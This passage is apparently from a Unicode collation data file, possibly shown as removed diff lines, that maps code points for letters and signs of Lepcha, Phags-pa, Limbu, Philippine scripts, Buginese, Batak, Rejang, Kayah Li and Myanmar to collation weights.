-1C14  ; [.2D8C.0020.0002] # LEPCHA LETTER BLA
-1C15  ; [.2D8D.0020.0002] # LEPCHA LETTER MA
-1C16  ; [.2D8E.0020.0002] # LEPCHA LETTER MLA
-1C17  ; [.2D8F.0020.0002] # LEPCHA LETTER TSA
-1C18  ; [.2D90.0020.0002] # LEPCHA LETTER TSHA
-1C19  ; [.2D91.0020.0002] # LEPCHA LETTER DZA
-1C1A  ; [.2D92.0020.0002] # LEPCHA LETTER YA
-1C24  ; [.2D93.0020.0002] # LEPCHA SUBJOINED LETTER YA
-1C1B  ; [.2D94.0020.0002] # LEPCHA LETTER RA
-1C25  ; [.2D95.0020.0002] # LEPCHA SUBJOINED LETTER RA
-1C1C  ; [.2D96.0020.0002] # LEPCHA LETTER LA
-1C1D  ; [.2D97.0020.0002] # LEPCHA LETTER HA
-1C1E  ; [.2D98.0020.0002] # LEPCHA LETTER HLA
-1C1F  ; [.2D99.0020.0002] # LEPCHA LETTER VA
-1C20  ; [.2D9A.0020.0002] # LEPCHA LETTER SA
-1C21  ; [.2D9B.0020.0002] # LEPCHA LETTER SHA
-1C22  ; [.2D9C.0020.0002] # LEPCHA LETTER WA
-1C23  ; [.2D9D.0020.0002] # LEPCHA LETTER A
-1C36  ; [.2D9E.0020.0002] # LEPCHA SIGN RAN
-1C26  ; [.2D9F.0020.0002] # LEPCHA VOWEL SIGN AA
-1C27  ; [.2DA0.0020.0002] # LEPCHA VOWEL SIGN I
-1C28  ; [.2DA1.0020.0002] # LEPCHA VOWEL SIGN O
-1C29  ; [.2DA2.0020.0002] # LEPCHA VOWEL SIGN OO
-1C2A  ; [.2DA3.0020.0002] # LEPCHA VOWEL SIGN U
-1C2B  ; [.2DA4.0020.0002] # LEPCHA VOWEL SIGN UU
-1C2C  ; [.2DA5.0020.0002] # LEPCHA VOWEL SIGN E
-1C2D  ; [.2DA6.0020.0002] # LEPCHA CONSONANT SIGN K
-1C2E  ; [.2DA7.0020.0002] # LEPCHA CONSONANT SIGN M
-1C2F  ; [.2DA8.0020.0002] # LEPCHA CONSONANT SIGN L
-1C30  ; [.2DA9.0020.0002] # LEPCHA CONSONANT SIGN N
-1C31  ; [.2DAA.0020.0002] # LEPCHA CONSONANT SIGN P
-1C32  ; [.2DAB.0020.0002] # LEPCHA CONSONANT SIGN R
-1C33  ; [.2DAC.0020.0002] # LEPCHA CONSONANT SIGN T
-1C34  ; [.2DAD.0020.0002] # LEPCHA CONSONANT SIGN NYIN-DO
-1C35  ; [.2DAE.0020.0002] # LEPCHA CONSONANT SIGN KANG
-A840  ; [.2DAF.0020.0002] # PHAGS-PA LETTER KA
-A841  ; [.2DB0.0020.0002] # PHAGS-PA LETTER KHA
-A842  ; [.2DB1.0020.0002] # PHAGS-PA LETTER GA
-A843  ; [.2DB2.0020.0002] # PHAGS-PA LETTER NGA
-A844  ; [.2DB3.0020.0002] # PHAGS-PA LETTER CA
-A845  ; [.2DB4.0020.0002] # PHAGS-PA LETTER CHA
-A846  ; [.2DB5.0020.0002] # PHAGS-PA LETTER JA
-A847  ; [.2DB6.0020.0002] # PHAGS-PA LETTER NYA
-A869  ; [.2DB7.0020.0002] # PHAGS-PA LETTER TTA
-A86A  ; [.2DB8.0020.0002] # PHAGS-PA LETTER TTHA
-A86B  ; [.2DB9.0020.0002] # PHAGS-PA LETTER DDA
-A86C  ; [.2DBA.0020.0002] # PHAGS-PA LETTER NNA
-A848  ; [.2DBB.0020.0002] # PHAGS-PA LETTER TA
-A849  ; [.2DBC.0020.0002] # PHAGS-PA LETTER THA
-A84A  ; [.2DBD.0020.0002] # PHAGS-PA LETTER DA
-A84B  ; [.2DBE.0020.0002] # PHAGS-PA LETTER NA
-A84C  ; [.2DBF.0020.0002] # PHAGS-PA LETTER PA
-A84D  ; [.2DC0.0020.0002] # PHAGS-PA LETTER PHA
-A84E  ; [.2DC1.0020.0002] # PHAGS-PA LETTER BA
-A84F  ; [.2DC2.0020.0002] # PHAGS-PA LETTER MA
-A850  ; [.2DC3.0020.0002] # PHAGS-PA LETTER TSA
-A851  ; [.2DC4.0020.0002] # PHAGS-PA LETTER TSHA
-A852  ; [.2DC5.0020.0002] # PHAGS-PA LETTER DZA
-A853  ; [.2DC6.0020.0002] # PHAGS-PA LETTER WA
-A867  ; [.2DC7.0020.0002] # PHAGS-PA SUBJOINED LETTER WA
-A854  ; [.2DC8.0020.0002] # PHAGS-PA LETTER ZHA
-A855  ; [.2DC9.0020.0002] # PHAGS-PA LETTER ZA
-A856  ; [.2DCA.0020.0002] # PHAGS-PA LETTER SMALL A
-A857  ; [.2DCB.0020.0002] # PHAGS-PA LETTER YA
-A868  ; [.2DCC.0020.0002] # PHAGS-PA SUBJOINED LETTER YA
-A86D  ; [.2DCD.0020.0002] # PHAGS-PA LETTER ALTERNATE YA
-A858  ; [.2DCE.0020.0002] # PHAGS-PA LETTER RA
-A871  ; [.2DCF.0020.0002] # PHAGS-PA SUBJOINED LETTER RA
-A872  ; [.2DD0.0020.0002] # PHAGS-PA SUPERFIXED LETTER RA
-A859  ; [.2DD1.0020.0002] # PHAGS-PA LETTER LA
-A85A  ; [.2DD2.0020.0002] # PHAGS-PA LETTER SHA
-A86E  ; [.2DD3.0020.0002] # PHAGS-PA LETTER VOICELESS SHA
-A85B  ; [.2DD4.0020.0002] # PHAGS-PA LETTER SA
-A85C  ; [.2DD5.0020.0002] # PHAGS-PA LETTER HA
-A86F  ; [.2DD6.0020.0002] # PHAGS-PA LETTER VOICED HA
-A870  ; [.2DD7.0020.0002] # PHAGS-PA LETTER ASPIRATED FA
-A85D  ; [.2DD8.0020.0002] # PHAGS-PA LETTER A
-A862  ; [.2DD9.0020.0002] # PHAGS-PA LETTER QA
-A863  ; [.2DDA.0020.0002] # PHAGS-PA LETTER XA
-A864  ; [.2DDB.0020.0002] # PHAGS-PA LETTER FA
-A865  ; [.2DDC.0020.0002] # PHAGS-PA LETTER GGA
-A85E  ; [.2DDD.0020.0002] # PHAGS-PA LETTER I
-A85F  ; [.2DDE.0020.0002] # PHAGS-PA LETTER U
-A860  ; [.2DDF.0020.0002] # PHAGS-PA LETTER E
-A861  ; [.2DE0.0020.0002] # PHAGS-PA LETTER O
-A866  ; [.2DE1.0020.0002] # PHAGS-PA LETTER EE
-A873  ; [.2DE2.0020.0002] # PHAGS-PA LETTER CANDRABINDU
-1900  ; [.2DE3.0020.0002] # LIMBU VOWEL-CARRIER LETTER
-1901  ; [.2DE4.0020.0002] # LIMBU LETTER KA
-1902  ; [.2DE5.0020.0002] # LIMBU LETTER KHA
-1903  ; [.2DE6.0020.0002] # LIMBU LETTER GA
-1904  ; [.2DE7.0020.0002] # LIMBU LETTER GHA
-1905  ; [.2DE8.0020.0002] # LIMBU LETTER NGA
-1906  ; [.2DE9.0020.0002] # LIMBU LETTER CA
-1907  ; [.2DEA.0020.0002] # LIMBU LETTER CHA
-1908  ; [.2DEB.0020.0002] # LIMBU LETTER JA
-191D  ; [.2DEB.0020.0004][.2E09.0020.0004] # LIMBU LETTER GYAN
-1909  ; [.2DEC.0020.0002] # LIMBU LETTER JHA
-190A  ; [.2DED.0020.0002] # LIMBU LETTER YAN
-190B  ; [.2DEE.0020.0002] # LIMBU LETTER TA
-191E  ; [.2DEE.0020.0004][.2E0A.0020.0004] # LIMBU LETTER TRA
-190C  ; [.2DEF.0020.0002] # LIMBU LETTER THA
-190D  ; [.2DF0.0020.0002] # LIMBU LETTER DA
-190E  ; [.2DF1.0020.0002] # LIMBU LETTER DHA
-190F  ; [.2DF2.0020.0002] # LIMBU LETTER NA
-1910  ; [.2DF3.0020.0002] # LIMBU LETTER PA
-1911  ; [.2DF4.0020.0002] # LIMBU LETTER PHA
-1912  ; [.2DF5.0020.0002] # LIMBU LETTER BA
-1913  ; [.2DF6.0020.0002] # LIMBU LETTER BHA
-1914  ; [.2DF7.0020.0002] # LIMBU LETTER MA
-1915  ; [.2DF8.0020.0002] # LIMBU LETTER YA
-1916  ; [.2DF9.0020.0002] # LIMBU LETTER RA
-1917  ; [.2DFA.0020.0002] # LIMBU LETTER LA
-1918  ; [.2DFB.0020.0002] # LIMBU LETTER WA
-1919  ; [.2DFC.0020.0002] # LIMBU LETTER SHA
-191A  ; [.2DFD.0020.0002] # LIMBU LETTER SSA
-191B  ; [.2DFE.0020.0002] # LIMBU LETTER SA
-191C  ; [.2DFF.0020.0002] # LIMBU LETTER HA
-1920  ; [.2E00.0020.0002] # LIMBU VOWEL SIGN A
-1921  ; [.2E01.0020.0002] # LIMBU VOWEL SIGN I
-1922  ; [.2E02.0020.0002] # LIMBU VOWEL SIGN U
-1923  ; [.2E03.0020.0002] # LIMBU VOWEL SIGN EE
-1924  ; [.2E04.0020.0002] # LIMBU VOWEL SIGN AI
-1925  ; [.2E05.0020.0002] # LIMBU VOWEL SIGN OO
-1926  ; [.2E06.0020.0002] # LIMBU VOWEL SIGN AU
-1927  ; [.2E07.0020.0002] # LIMBU VOWEL SIGN E
-1928  ; [.2E08.0020.0002] # LIMBU VOWEL SIGN O
-1929  ; [.2E09.0020.0002] # LIMBU SUBJOINED LETTER YA
-192A  ; [.2E0A.0020.0002] # LIMBU SUBJOINED LETTER RA
-192B  ; [.2E0B.0020.0002] # LIMBU SUBJOINED LETTER WA
-1930  ; [.2E0C.0020.0002] # LIMBU SMALL LETTER KA
-1931  ; [.2E0D.0020.0002] # LIMBU SMALL LETTER NGA
-1932  ; [.2E0E.0020.0002] # LIMBU SMALL LETTER ANUSVARA
-1933  ; [.2E0F.0020.0002] # LIMBU SMALL LETTER TA
-1934  ; [.2E10.0020.0002] # LIMBU SMALL LETTER NA
-1935  ; [.2E11.0020.0002] # LIMBU SMALL LETTER PA
-1936  ; [.2E12.0020.0002] # LIMBU SMALL LETTER MA
-1937  ; [.2E13.0020.0002] # LIMBU SMALL LETTER RA
-1938  ; [.2E14.0020.0002] # LIMBU SMALL LETTER LA
-1700  ; [.2E15.0020.0002] # TAGALOG LETTER A
-1701  ; [.2E16.0020.0002] # TAGALOG LETTER I
-1702  ; [.2E17.0020.0002] # TAGALOG LETTER U
-1703  ; [.2E18.0020.0002] # TAGALOG LETTER KA
-1704  ; [.2E19.0020.0002] # TAGALOG LETTER GA
-1705  ; [.2E1A.0020.0002] # TAGALOG LETTER NGA
-1706  ; [.2E1B.0020.0002] # TAGALOG LETTER TA
-1707  ; [.2E1C.0020.0002] # TAGALOG LETTER DA
-1708  ; [.2E1D.0020.0002] # TAGALOG LETTER NA
-1709  ; [.2E1E.0020.0002] # TAGALOG LETTER PA
-170A  ; [.2E1F.0020.0002] # TAGALOG LETTER BA
-170B  ; [.2E20.0020.0002] # TAGALOG LETTER MA
-170C  ; [.2E21.0020.0002] # TAGALOG LETTER YA
-170E  ; [.2E22.0020.0002] # TAGALOG LETTER LA
-170F  ; [.2E23.0020.0002] # TAGALOG LETTER WA
-1710  ; [.2E24.0020.0002] # TAGALOG LETTER SA
-1711  ; [.2E25.0020.0002] # TAGALOG LETTER HA
-1712  ; [.2E26.0020.0002] # TAGALOG VOWEL SIGN I
-1713  ; [.2E27.0020.0002] # TAGALOG VOWEL SIGN U
-1714  ; [.2E28.0020.0002] # TAGALOG SIGN VIRAMA
-1720  ; [.2E29.0020.0002] # HANUNOO LETTER A
-1721  ; [.2E2A.0020.0002] # HANUNOO LETTER I
-1722  ; [.2E2B.0020.0002] # HANUNOO LETTER U
-1723  ; [.2E2C.0020.0002] # HANUNOO LETTER KA
-1724  ; [.2E2D.0020.0002] # HANUNOO LETTER GA
-1725  ; [.2E2E.0020.0002] # HANUNOO LETTER NGA
-1726  ; [.2E2F.0020.0002] # HANUNOO LETTER TA
-1727  ; [.2E30.0020.0002] # HANUNOO LETTER DA
-1728  ; [.2E31.0020.0002] # HANUNOO LETTER NA
-1729  ; [.2E32.0020.0002] # HANUNOO LETTER PA
-172A  ; [.2E33.0020.0002] # HANUNOO LETTER BA
-172B  ; [.2E34.0020.0002] # HANUNOO LETTER MA
-172C  ; [.2E35.0020.0002] # HANUNOO LETTER YA
-172D  ; [.2E36.0020.0002] # HANUNOO LETTER RA
-172E  ; [.2E37.0020.0002] # HANUNOO LETTER LA
-172F  ; [.2E38.0020.0002] # HANUNOO LETTER WA
-1730  ; [.2E39.0020.0002] # HANUNOO LETTER SA
-1731  ; [.2E3A.0020.0002] # HANUNOO LETTER HA
-1732  ; [.2E3B.0020.0002] # HANUNOO VOWEL SIGN I
-1733  ; [.2E3C.0020.0002] # HANUNOO VOWEL SIGN U
-1734  ; [.2E3D.0020.0002] # HANUNOO SIGN PAMUDPOD
-1740  ; [.2E3E.0020.0002] # BUHID LETTER A
-1741  ; [.2E3F.0020.0002] # BUHID LETTER I
-1742  ; [.2E40.0020.0002] # BUHID LETTER U
-1743  ; [.2E41.0020.0002] # BUHID LETTER KA
-1744  ; [.2E42.0020.0002] # BUHID LETTER GA
-1745  ; [.2E43.0020.0002] # BUHID LETTER NGA
-1746  ; [.2E44.0020.0002] # BUHID LETTER TA
-1747  ; [.2E45.0020.0002] # BUHID LETTER DA
-1748  ; [.2E46.0020.0002] # BUHID LETTER NA
-1749  ; [.2E47.0020.0002] # BUHID LETTER PA
-174A  ; [.2E48.0020.0002] # BUHID LETTER BA
-174B  ; [.2E49.0020.0002] # BUHID LETTER MA
-174C  ; [.2E4A.0020.0002] # BUHID LETTER YA
-174D  ; [.2E4B.0020.0002] # BUHID LETTER RA
-174E  ; [.2E4C.0020.0002] # BUHID LETTER LA
-174F  ; [.2E4D.0020.0002] # BUHID LETTER WA
-1750  ; [.2E4E.0020.0002] # BUHID LETTER SA
-1751  ; [.2E4F.0020.0002] # BUHID LETTER HA
-1752  ; [.2E50.0020.0002] # BUHID VOWEL SIGN I
-1753  ; [.2E51.0020.0002] # BUHID VOWEL SIGN U
-1760  ; [.2E52.0020.0002] # TAGBANWA LETTER A
-1761  ; [.2E53.0020.0002] # TAGBANWA LETTER I
-1762  ; [.2E54.0020.0002] # TAGBANWA LETTER U
-1763  ; [.2E55.0020.0002] # TAGBANWA LETTER KA
-1764  ; [.2E56.0020.0002] # TAGBANWA LETTER GA
-1765  ; [.2E57.0020.0002] # TAGBANWA LETTER NGA
-1766  ; [.2E58.0020.0002] # TAGBANWA LETTER TA
-1767  ; [.2E59.0020.0002] # TAGBANWA LETTER DA
-1768  ; [.2E5A.0020.0002] # TAGBANWA LETTER NA
-1769  ; [.2E5B.0020.0002] # TAGBANWA LETTER PA
-176A  ; [.2E5C.0020.0002] # TAGBANWA LETTER BA
-176B  ; [.2E5D.0020.0002] # TAGBANWA LETTER MA
-176C  ; [.2E5E.0020.0002] # TAGBANWA LETTER YA
-176E  ; [.2E5F.0020.0002] # TAGBANWA LETTER LA
-176F  ; [.2E60.0020.0002] # TAGBANWA LETTER WA
-1770  ; [.2E61.0020.0002] # TAGBANWA LETTER SA
-1772  ; [.2E62.0020.0002] # TAGBANWA VOWEL SIGN I
-1773  ; [.2E63.0020.0002] # TAGBANWA VOWEL SIGN U
-1A00  ; [.2E64.0020.0002] # BUGINESE LETTER KA
-1A01  ; [.2E65.0020.0002] # BUGINESE LETTER GA
-1A02  ; [.2E66.0020.0002] # BUGINESE LETTER NGA
-1A03  ; [.2E67.0020.0002] # BUGINESE LETTER NGKA
-1A04  ; [.2E68.0020.0002] # BUGINESE LETTER PA
-1A05  ; [.2E69.0020.0002] # BUGINESE LETTER BA
-1A06  ; [.2E6A.0020.0002] # BUGINESE LETTER MA
-1A07  ; [.2E6B.0020.0002] # BUGINESE LETTER MPA
-1A08  ; [.2E6C.0020.0002] # BUGINESE LETTER TA
-1A09  ; [.2E6D.0020.0002] # BUGINESE LETTER DA
-1A0A  ; [.2E6E.0020.0002] # BUGINESE LETTER NA
-1A0B  ; [.2E6F.0020.0002] # BUGINESE LETTER NRA
-1A0C  ; [.2E70.0020.0002] # BUGINESE LETTER CA
-1A0D  ; [.2E71.0020.0002] # BUGINESE LETTER JA
-1A0E  ; [.2E72.0020.0002] # BUGINESE LETTER NYA
-1A0F  ; [.2E73.0020.0002] # BUGINESE LETTER NYCA
-1A10  ; [.2E74.0020.0002] # BUGINESE LETTER YA
-1A11  ; [.2E75.0020.0002] # BUGINESE LETTER RA
-1A12  ; [.2E76.0020.0002] # BUGINESE LETTER LA
-1A13  ; [.2E77.0020.0002] # BUGINESE LETTER VA
-1A14  ; [.2E78.0020.0002] # BUGINESE LETTER SA
-1A15  ; [.2E79.0020.0002] # BUGINESE LETTER A
-1A16  ; [.2E7A.0020.0002] # BUGINESE LETTER HA
-1A17  ; [.2E7B.0020.0002] # BUGINESE VOWEL SIGN I
-1A18  ; [.2E7C.0020.0002] # BUGINESE VOWEL SIGN U
-1A19  ; [.2E7D.0020.0002] # BUGINESE VOWEL SIGN E
-1A1A  ; [.2E7E.0020.0002] # BUGINESE VOWEL SIGN O
-1A1B  ; [.2E7F.0020.0002] # BUGINESE VOWEL SIGN AE
-1BC0  ; [.2E80.0020.0002] # BATAK LETTER A
-1BC1  ; [.2E80.0020.0004] # BATAK LETTER SIMALUNGUN A
-1BC2  ; [.2E81.0020.0002] # BATAK LETTER HA
-1BC3  ; [.2E81.0020.0004] # BATAK LETTER SIMALUNGUN HA
-1BC4  ; [.2E81.0020.0004] # BATAK LETTER MANDAILING HA
-1BC5  ; [.2E82.0020.0002] # BATAK LETTER BA
-1BC6  ; [.2E82.0020.0004] # BATAK LETTER KARO BA
-1BC7  ; [.2E83.0020.0002] # BATAK LETTER PA
-1BC8  ; [.2E83.0020.0004] # BATAK LETTER SIMALUNGUN PA
-1BC9  ; [.2E84.0020.0002] # BATAK LETTER NA
-1BCA  ; [.2E84.0020.0004] # BATAK LETTER MANDAILING NA
-1BCB  ; [.2E85.0020.0002] # BATAK LETTER WA
-1BCC  ; [.2E85.0020.0004] # BATAK LETTER SIMALUNGUN WA
-1BCD  ; [.2E85.0020.0004] # BATAK LETTER PAKPAK WA
-1BCE  ; [.2E86.0020.0002] # BATAK LETTER GA
-1BCF  ; [.2E86.0020.0004] # BATAK LETTER SIMALUNGUN GA
-1BD0  ; [.2E87.0020.0002] # BATAK LETTER JA
-1BD1  ; [.2E88.0020.0002] # BATAK LETTER DA
-1BD2  ; [.2E89.0020.0002] # BATAK LETTER RA
-1BD3  ; [.2E89.0020.0004] # BATAK LETTER SIMALUNGUN RA
-1BD4  ; [.2E8A.0020.0002] # BATAK LETTER MA
-1BD5  ; [.2E8A.0020.0004] # BATAK LETTER SIMALUNGUN MA
-1BD6  ; [.2E8B.0020.0002] # BATAK LETTER SOUTHERN TA
-1BD7  ; [.2E8B.0020.0004] # BATAK LETTER NORTHERN TA
-1BD8  ; [.2E8C.0020.0002] # BATAK LETTER SA
-1BD9  ; [.2E8C.0020.0004] # BATAK LETTER SIMALUNGUN SA
-1BDA  ; [.2E8C.0020.0004] # BATAK LETTER MANDAILING SA
-1BDB  ; [.2E8D.0020.0002] # BATAK LETTER YA
-1BDC  ; [.2E8D.0020.0004] # BATAK LETTER SIMALUNGUN YA
-1BDD  ; [.2E8E.0020.0002] # BATAK LETTER NGA
-1BDE  ; [.2E8F.0020.0002] # BATAK LETTER LA
-1BDF  ; [.2E8F.0020.0004] # BATAK LETTER SIMALUNGUN LA
-1BE0  ; [.2E90.0020.0002] # BATAK LETTER NYA
-1BE1  ; [.2E91.0020.0002] # BATAK LETTER CA
-1BE2  ; [.2E92.0020.0002] # BATAK LETTER NDA
-1BE3  ; [.2E93.0020.0002] # BATAK LETTER MBA
-1BE4  ; [.2E94.0020.0002] # BATAK LETTER I
-1BE5  ; [.2E95.0020.0002] # BATAK LETTER U
-1BE7  ; [.2E96.0020.0002] # BATAK VOWEL SIGN E
-1BE8  ; [.2E96.0020.0004] # BATAK VOWEL SIGN PAKPAK E
-1BE9  ; [.2E97.0020.0002] # BATAK VOWEL SIGN EE
-1BEA  ; [.2E98.0020.0002] # BATAK VOWEL SIGN I
-1BEB  ; [.2E98.0020.0004] # BATAK VOWEL SIGN KARO I
-1BEC  ; [.2E99.0020.0002] # BATAK VOWEL SIGN O
-1BED  ; [.2E99.0020.0004] # BATAK VOWEL SIGN KARO O
-1BEE  ; [.2E9A.0020.0002] # BATAK VOWEL SIGN U
-1BEF  ; [.2E9A.0020.0004] # BATAK VOWEL SIGN U FOR SIMALUNGUN SA
-1BF0  ; [.2E9B.0020.0002] # BATAK CONSONANT SIGN NG
-1BF1  ; [.2E9C.0020.0002] # BATAK CONSONANT SIGN H
-1BF2  ; [.2E9D.0020.0002] # BATAK PANGOLAT
-1BF3  ; [.2E9E.0020.0002] # BATAK PANONGONAN
-A930  ; [.2E9F.0020.0002] # REJANG LETTER KA
-A931  ; [.2EA0.0020.0002] # REJANG LETTER GA
-A932  ; [.2EA1.0020.0002] # REJANG LETTER NGA
-A933  ; [.2EA2.0020.0002] # REJANG LETTER TA
-A934  ; [.2EA3.0020.0002] # REJANG LETTER DA
-A935  ; [.2EA4.0020.0002] # REJANG LETTER NA
-A936  ; [.2EA5.0020.0002] # REJANG LETTER PA
-A937  ; [.2EA6.0020.0002] # REJANG LETTER BA
-A938  ; [.2EA7.0020.0002] # REJANG LETTER MA
-A939  ; [.2EA8.0020.0002] # REJANG LETTER CA
-A93A  ; [.2EA9.0020.0002] # REJANG LETTER JA
-A93B  ; [.2EAA.0020.0002] # REJANG LETTER NYA
-A93C  ; [.2EAB.0020.0002] # REJANG LETTER SA
-A93D  ; [.2EAC.0020.0002] # REJANG LETTER RA
-A93E  ; [.2EAD.0020.0002] # REJANG LETTER LA
-A93F  ; [.2EAE.0020.0002] # REJANG LETTER YA
-A940  ; [.2EAF.0020.0002] # REJANG LETTER WA
-A941  ; [.2EB0.0020.0002] # REJANG LETTER HA
-A942  ; [.2EB1.0020.0002] # REJANG LETTER MBA
-A943  ; [.2EB2.0020.0002] # REJANG LETTER NGGA
-A944  ; [.2EB3.0020.0002] # REJANG LETTER NDA
-A945  ; [.2EB4.0020.0002] # REJANG LETTER NYJA
-A946  ; [.2EB5.0020.0002] # REJANG LETTER A
-A947  ; [.2EB6.0020.0002] # REJANG VOWEL SIGN I
-A948  ; [.2EB7.0020.0002] # REJANG VOWEL SIGN U
-A949  ; [.2EB8.0020.0002] # REJANG VOWEL SIGN E
-A94A  ; [.2EB9.0020.0002] # REJANG VOWEL SIGN AI
-A94B  ; [.2EBA.0020.0002] # REJANG VOWEL SIGN O
-A94C  ; [.2EBB.0020.0002] # REJANG VOWEL SIGN AU
-A94D  ; [.2EBC.0020.0002] # REJANG VOWEL SIGN EU
-A94E  ; [.2EBD.0020.0002] # REJANG VOWEL SIGN EA
-A94F  ; [.2EBE.0020.0002] # REJANG CONSONANT SIGN NG
-A950  ; [.2EBF.0020.0002] # REJANG CONSONANT SIGN N
-A951  ; [.2EC0.0020.0002] # REJANG CONSONANT SIGN R
-A952  ; [.2EC1.0020.0002] # REJANG CONSONANT SIGN H
-A953  ; [.2EC2.0020.0002] # REJANG VIRAMA
-A90A  ; [.2EC3.0020.0002] # KAYAH LI LETTER KA
-A90B  ; [.2EC4.0020.0002] # KAYAH LI LETTER KHA
-A90C  ; [.2EC5.0020.0002] # KAYAH LI LETTER GA
-A90D  ; [.2EC6.0020.0002] # KAYAH LI LETTER NGA
-A90E  ; [.2EC7.0020.0002] # KAYAH LI LETTER SA
-A90F  ; [.2EC8.0020.0002] # KAYAH LI LETTER SHA
-A910  ; [.2EC9.0020.0002] # KAYAH LI LETTER ZA
-A911  ; [.2ECA.0020.0002] # KAYAH LI LETTER NYA
-A912  ; [.2ECB.0020.0002] # KAYAH LI LETTER TA
-A913  ; [.2ECC.0020.0002] # KAYAH LI LETTER HTA
-A914  ; [.2ECD.0020.0002] # KAYAH LI LETTER NA
-A915  ; [.2ECE.0020.0002] # KAYAH LI LETTER PA
-A916  ; [.2ECF.0020.0002] # KAYAH LI LETTER PHA
-A917  ; [.2ED0.0020.0002] # KAYAH LI LETTER MA
-A918  ; [.2ED1.0020.0002] # KAYAH LI LETTER DA
-A919  ; [.2ED2.0020.0002] # KAYAH LI LETTER BA
-A91A  ; [.2ED3.0020.0002] # KAYAH LI LETTER RA
-A91B  ; [.2ED4.0020.0002] # KAYAH LI LETTER YA
-A91C  ; [.2ED5.0020.0002] # KAYAH LI LETTER LA
-A91D  ; [.2ED6.0020.0002] # KAYAH LI LETTER WA
-A91E  ; [.2ED7.0020.0002] # KAYAH LI LETTER THA
-A91F  ; [.2ED8.0020.0002] # KAYAH LI LETTER HA
-A920  ; [.2ED9.0020.0002] # KAYAH LI LETTER VA
-A921  ; [.2EDA.0020.0002] # KAYAH LI LETTER CA
-A922  ; [.2EDB.0020.0002] # KAYAH LI LETTER A
-A923  ; [.2EDC.0020.0002] # KAYAH LI LETTER OE
-A924  ; [.2EDD.0020.0002] # KAYAH LI LETTER I
-A925  ; [.2EDE.0020.0002] # KAYAH LI LETTER OO
-A926  ; [.2EDF.0020.0002] # KAYAH LI VOWEL UE
-A927  ; [.2EE0.0020.0002] # KAYAH LI VOWEL E
-A928  ; [.2EE1.0020.0002] # KAYAH LI VOWEL U
-A929  ; [.2EE2.0020.0002] # KAYAH LI VOWEL EE
-A92A  ; [.2EE3.0020.0002] # KAYAH LI VOWEL O
-1000  ; [.2EE4.0020.0002] # MYANMAR LETTER KA
-1075  ; [.2EE5.0020.0002] # MYANMAR LETTER SHAN KA
-1001  ; [.2EE6.0020.0002] # MYANMAR LETTER KHA
-1076  ; [.2EE7.0020.0002] # MYANMAR LETTER SHAN KHA
-1002  ; [.2EE8.0020.0002] # MYANMAR LETTER GA
-1077  ; [.2EE9.0020.0002] # MYANMAR LETTER SHAN GA
-AA60  ; [.2EEA.0020.0002] # MYANMAR LETTER KHAMTI GA
-A9E9  ; [.2EEB.0020.0002] # MYANMAR LETTER TAI LAING GA
-1003  ; [.2EEC.0020.0002] # MYANMAR LETTER GHA
-A9E0  ; [.2EED.0020.0002] # MYANMAR LETTER SHAN GHA
-A9EA  ; [.2EEE.0020.0002] # MYANMAR LETTER TAI LAING GHA
-1004  ; [.2EEF.0020.0002] # MYANMAR LETTER NGA
-105A  ; [.2EF0.0020.0002] # MYANMAR LETTER MON NGA
-1005  ; [.2EF1.0020.0002] # MYANMAR LETTER CA
-1078  ; [.2EF2.0020.0002] # MYANMAR LETTER SHAN CA
-AA61  ; [.2EF3.0020.0002] # MYANMAR LETTER KHAMTI CA
-1006  ; [.2EF4.0020.0002] # MYANMAR LETTER CHA
-A9E1  ; [.2EF5.0020.0002] # MYANMAR LETTER SHAN CHA
-AA62  ; [.2EF6.0020.0002] # MYANMAR LETTER KHAMTI CHA
-AA7E  ; [.2EF7.0020.0002] # MYANMAR LETTER SHWE PALAUNG CHA
-1007  ; [.2EF8.0020.0002] # MYANMAR LETTER JA
-AA63  ; [.2EF9.0020.0002] # MYANMAR LETTER KHAMTI JA
-A9EB  ; [.2EFA.0020.0002] # MYANMAR LETTER TAI LAING JA
-1079  ; [.2EFB.0020.0002] # MYANMAR LETTER SHAN ZA
-AA72  ; [.2EFC.0020.0002] # MYANMAR LETTER KHAMTI ZA
-1008  ; [.2EFD.0020.0002] # MYANMAR LETTER JHA
-105B  ; [.2EFE.0020.0002] # MYANMAR LETTER MON JHA
-A9E2  ; [.2EFF.0020.0002] # MYANMAR LETTER SHAN JHA
-AA64  ; [.2F00.0020.0002] # MYANMAR LETTER KHAMTI JHA
-A9EC  ; [.2F01.0020.0002] # MYANMAR LETTER TAI LAING JHA
-1061  ; [.2F02.0020.0002] # MYANMAR LETTER SGAW KAREN SHA
-AA7F  ; [.2F03.0020.0002] # MYANMAR LETTER SHWE PALAUNG SHA
-1009  ; [.2F04.0020.0002] # MYANMAR LETTER NYA
-107A  ; [.2F05.0020.0002] # MYANMAR LETTER SHAN NYA
-AA65  ; [.2F06.0020.0002] # MYANMAR LETTER KHAMTI NYA
-A9E7  ; [.2F07.0020.0002] # MYANMAR LETTER TAI LAING NYA
-100A  ; [.2F08.0020.0002] # MYANMAR LETTER NNYA
-100B  ; [.2F09.0020.0002] # MYANMAR LETTER TTA
-AA66  ; [.2F0A.0020.0002] # MYANMAR LETTER KHAMTI TTA
-100C  ; [.2F0B.0020.0002] # MYANMAR LETTER TTHA
-AA67  ; [.2F0C.0020.0002] # MYANMAR LETTER KHAMTI TTHA
-100D  ; [.2F0D.0020.0002] # MYANMAR LETTER DDA
-AA68  ; [.2F0E.0020.0002] # MYANMAR LETTER KHAMTI DDA
-A9ED  ; [.2F0F.0020.0002] # MYANMAR LETTER TAI LAING DDA
-100E  ; [.2F10.0020.0002] # MYANMAR LETTER DDHA
-AA69  ; [.2F11.0020.0002] # MYANMAR LETTER KHAMTI DDHA
-A9EE  ; [.2F12.0020.0002] # MYANMAR LETTER TAI LAING DDHA
-100F  ; [.2F13.0020.0002] # MYANMAR LETTER NNA
-106E  ; [.2F14.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN NNA
-A9E3  ; [.2F15.0020.0002] # MYANMAR LETTER SHAN NNA
-A9EF  ; [.2F16.0020.0002] # MYANMAR LETTER TAI LAING NNA
-1010  ; [.2F17.0020.0002] # MYANMAR LETTER TA
-1011  ; [.2F18.0020.0002] # MYANMAR LETTER THA
-1012  ; [.2F19.0020.0002] # MYANMAR LETTER DA
-107B  ; [.2F1A.0020.0002] # MYANMAR LETTER SHAN DA
-A9FB  ; [.2F1B.0020.0002] # MYANMAR LETTER TAI LAING DA
-1013  ; [.2F1C.0020.0002] # MYANMAR LETTER DHA
-AA6A  ; [.2F1D.0020.0002] # MYANMAR LETTER KHAMTI DHA
-A9FC  ; [.2F1E.0020.0002] # MYANMAR LETTER TAI LAING DHA
